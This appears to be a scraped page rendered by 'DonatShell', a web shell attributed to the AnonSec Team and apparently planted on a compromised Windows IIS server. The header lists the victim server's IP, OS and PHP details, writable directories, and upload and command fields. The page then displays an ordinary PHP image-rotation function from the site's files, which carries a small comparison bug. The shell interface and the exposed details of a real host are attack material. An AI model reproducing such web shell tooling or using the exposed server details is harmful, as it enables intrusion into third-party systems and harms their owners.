DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/inc//fso_img_rotate.php
<?
    //**************************************
    // Name: Image rotation using GD extension
    // Description:A function with the intention of rotating a Jpeg image 90? Clockwise, Counterclockwise and 180?(Flip).
    // By: Karl Blessing
    //
    //
    // Inputs:Source file ( path to the source )
    //Destination ( path to the destination, can be same as source if you want to overwrite )
    //degrees (integer value of 90(counterclockwise), 270(clockwise) or 180)
    //
    // Returns:does not return a value, will save the destination, no indication if successful is returned.
    //
    //Assumes:When writing this I found various behaviors between images with greater x than y's and so forth. Thus is why all the condiotionals. The function has not been tested for images with same x and y dimensions, and will not likely work. 
    //IMPORTANT:
    //You must have PHP 4.3.* or above for this function to work, a PHP version lower will not work. I was using PHP 4.3.2 for Win32, with GD Extension version 2 ( bundled with PHP ).
    //
    //Side Effects:None
    //This code is copyrighted and has limited warranties.
    //Please see [url]http://www.Planet-Source-Code.com/xq/ASP/txtCodeId.1074/lngWId.8/qx/vb/scripts/ShowCode.htm[/url]
    //for details.
    //**************************************
    
    function fso_img_rotate($sourcefile, $targetfile, $degrees)
    {
        $img_size = getImageSize($sourcefile);
        $x = $img_size[0];
        $y = $img_size[1];
        if ($x > $y)
        {
            $dst_x = 0;
            $dst_y = $x - $y;
            $newd = $x;
        }
        else
        {
            $dst_x = $y - $x;
            $dst_y = 0;
            $newd = $y;
        }
        $src_img = ImageCreateFromJPEG($sourcefile);
        $dst_img = ImageCreateTrueColor($newd,$newd);
        
        if ((($x > y) && ($degrees < 180)) || (($y > $x) && ($degrees > 180)))
            ImageCopyResampled($dst_img,$src_img,0,0,0,0,$x,$y,$x,$y);
        else
            ImageCopyResampled($dst_img,$src_img,$dst_x,$dst_y,0,0,$x,$y,$x,$y);
        
        $rotated_img = ImageRotate($dst_img, $degrees,0);
        
        if ($degrees != 180)
        {
            //90 CounterClockWise or Clockwise
            $final_img = ImageCreateTrueColor($y,$x);
            ImageCopyResampled($final_img,$rotated_img,0,0,0,0,$y,$x,$y,$x);
        }
        else
        {
            //180 Degrees
            $final_img = ImageCreateTrueColor($x,$y);
            ImageCopyResampled($final_img,$rotated_img,0,0,0,0,$x,$y,$x,$y);
        }
        ImageJPEG($final_img, $targetfile);    
    }
?>

Anon7 - 2022
AnonSec Team